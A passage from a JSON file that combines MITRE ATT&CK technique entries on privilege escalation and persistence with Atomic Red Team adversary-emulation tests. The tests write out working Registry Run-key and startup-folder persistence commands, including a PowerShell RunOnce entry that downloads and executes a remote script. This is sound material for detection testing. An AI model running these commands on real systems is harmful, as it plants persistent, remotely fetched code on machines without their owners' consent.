referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1546.014": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Ivan Sinyakov" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd", - "created": "2020-01-24T15:15:13.426Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.014", - "url": "https://attack.mitre.org/techniques/T1546/014" - }, - { - "source_name": "magnusviri emond Apr 2016", - "url": "http://www.magnusviri.com/Mac/what-is-emond.html", - "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019." - }, - { - "source_name": "xorrior emond Jan 2018", - "url": "https://www.xorrior.com/emond-persistence/", - "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019." - }, - { - "source_name": "sentinelone macos persist Jun 2019", - "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", - "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.", - "modified": "2022-04-20T00:16:01.732Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Event Triggered Execution: Emond", - "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "File: File Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1546.014" - }, - "atomic_tests": [] - }, - "T1502": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Wayne Silva, F-Secure Countercept" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142", - "type": "attack-pattern", - "created": "2019-06-03T14:50:50.613Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1502", - "url": "https://attack.mitre.org/techniques/T1502" - }, - { - "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.", - "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/", - "source_name": "DidierStevens SelectMyParent Nov 2009" - }, - { - "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.", - "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works", - "source_name": "Microsoft UAC Nov 2018" - }, - { - "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.", - "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/", - "source_name": "CounterCept PPID Spoofing Dec 2018" - }, - { - "source_name": "CTD PPID Spoofing Macro Mar 2019", - "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", - "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019." - }, - { - "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.", - "url": "https://blog.xpnsec.com/becoming-system/", - "source_name": "XPNSec PPID Nov 2017" - }, - { - "source_name": "Microsoft Process Creation Flags May 2018", - "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags", - "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019." - }, - { - "source_name": "Secuirtyinbits Ataware3 May 2019", - "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3", - "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019." - } - ], - "modified": "2020-02-18T18:23:31.546Z", - "name": "Parent PID Spoofing", - "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - }, - { - "phase_name": "privilege-escalation", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Host forensic analysis", - "Heuristic Detection" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1169": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1169", - "url": "https://attack.mitre.org/techniques/T1169" - }, - { - "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", - "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", - "source_name": "OSX.Dok Malware" - } - ], - "modified": "2020-02-05T20:11:12.593Z", - "name": "Sudo", - "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_effective_permissions": [ - "root" - ] - }, - "atomic_tests": [] - }, - "T1574.010": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", - "type": "attack-pattern", - "created": "2020-03-12T20:43:53.998Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.010", - "url": "https://attack.mitre.org/techniques/T1574/010" - }, - { - "external_id": "CAPEC-17", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/17.html" - } - ], - "modified": "2020-09-16T19:10:04.262Z", - "name": "Services File Permissions Weakness", - "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Service: Service Metadata", - "File: File Modification", - "File: File Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "SYSTEM", - "Administrator", - "User" - ] - }, - "atomic_tests": [] - }, - "T1547.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Oddvar Moe, @oddvarmoe" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", - "created": "2020-01-23T22:02:48.566Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.001", - "url": "https://attack.mitre.org/techniques/T1547/001" - }, - { - "source_name": "Malwarebytes Wow6432Node 2016", - "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/", - "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020." - }, - { - "source_name": "Microsoft Wow6432Node 2018", - "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry", - "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020." - }, - { - "source_name": "Microsoft Run Key", - "url": "http://msdn.microsoft.com/en-us/library/aa376977", - "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014." - }, - { - "source_name": "Oddvar Moe RunOnceEx Mar 2018", - "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", - "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - }, - { - "url": "https://capec.mitre.org/data/definitions/270.html", - "source_name": "capec", - "external_id": "CAPEC-270" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", - "modified": "2022-05-12T21:44:30.466Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder", - "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification", - "File: File Modification", - "Windows Registry: Windows Registry Key Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1547.001" - }, - "atomic_tests": [ - { - "name": "Reg Key Run", - "auto_generated_guid": "e55be3fd-3521-4610-9d1a-e210e42dcf05", - "description": "Run Key Persistence\n\nUpon successful execution, cmd.exe will modify the registry by adding \\\"Atomic Red Team\\\" to the Run key. Output will be via stdout. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_to_execute": { - "description": "Thing to Run", - "type": "path", - "default": "C:\\Path\\AtomicRedTeam.exe" - } - }, - "executor": { - "command": "REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /t REG_SZ /F /D \"#{command_to_execute}\"\n", - "cleanup_command": "REG DELETE \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /f >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Reg Key RunOnce", - "auto_generated_guid": "554cbd88-cde1-4b56-8168-0be552eed9eb", - "description": "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "thing_to_execute": { - "description": "Thing to Run", - "type": "path", - "default": "C:\\Path\\AtomicRedTeam.dll" - } - }, - "executor": { - "command": "REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"#{thing_to_execute}\"\n", - "cleanup_command": "REG DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "PowerShell Registry RunOnce", - "auto_generated_guid": "eb44f842-0457-4ddc-9b92-c4caa144ac42", - "description": "RunOnce Key Persistence via PowerShell\nUpon successful execution, a new entry will be added to the runonce item in the registry.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "thing_to_execute": { - "description": "Thing to Run", - "type": "path", - "default": "powershell.exe" - }, - "reg_key_path": { - "description": "Path to registry key to update", - "type": "path", - "default": "HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce" - } - }, - "executor": { - "command": "$RunOnceKey = \"#{reg_key_path}\"\nset-itemproperty $RunOnceKey \"NextRun\" '#{thing_to_execute} \"IEX (New-Object Net.WebClient).DownloadString(`\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\")\"'\n", - "cleanup_command": "Remove-ItemProperty -Path #{reg_key_path} -Name \"NextRun\" -Force -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Suspicious vbs file run from startup Folder", - "auto_generated_guid": "2cb98256-625e-4da9-9d44-f2e5f90b8bd5", - "description": "vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Copy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\n", - "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\" -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Suspicious jse file run from startup Folder", - "auto_generated_guid": "dade9447-791e-4c8f-b04b-3a35855dfa06", - "description": "jse files can be placed in and ran from the startup folder to maintain persistance.\nUpon execution, \"T1547.001 Hello, World JSE!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Copy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\ncscript.exe /E:Jscript \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\ncscript.exe /E:Jscript \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\n", - "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\" -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Suspicious bat file run from startup Folder", - "auto_generated_guid": "5b6768e4-44d2-44f0-89da-a01d1430fd5e", - "description": "bat files can be placed in and executed from the startup folder to maintain persistance\n\nUpon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Copy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\nStart-Process \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nStart-Process \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\n", - "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\" -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Add Executable Shortcut Link 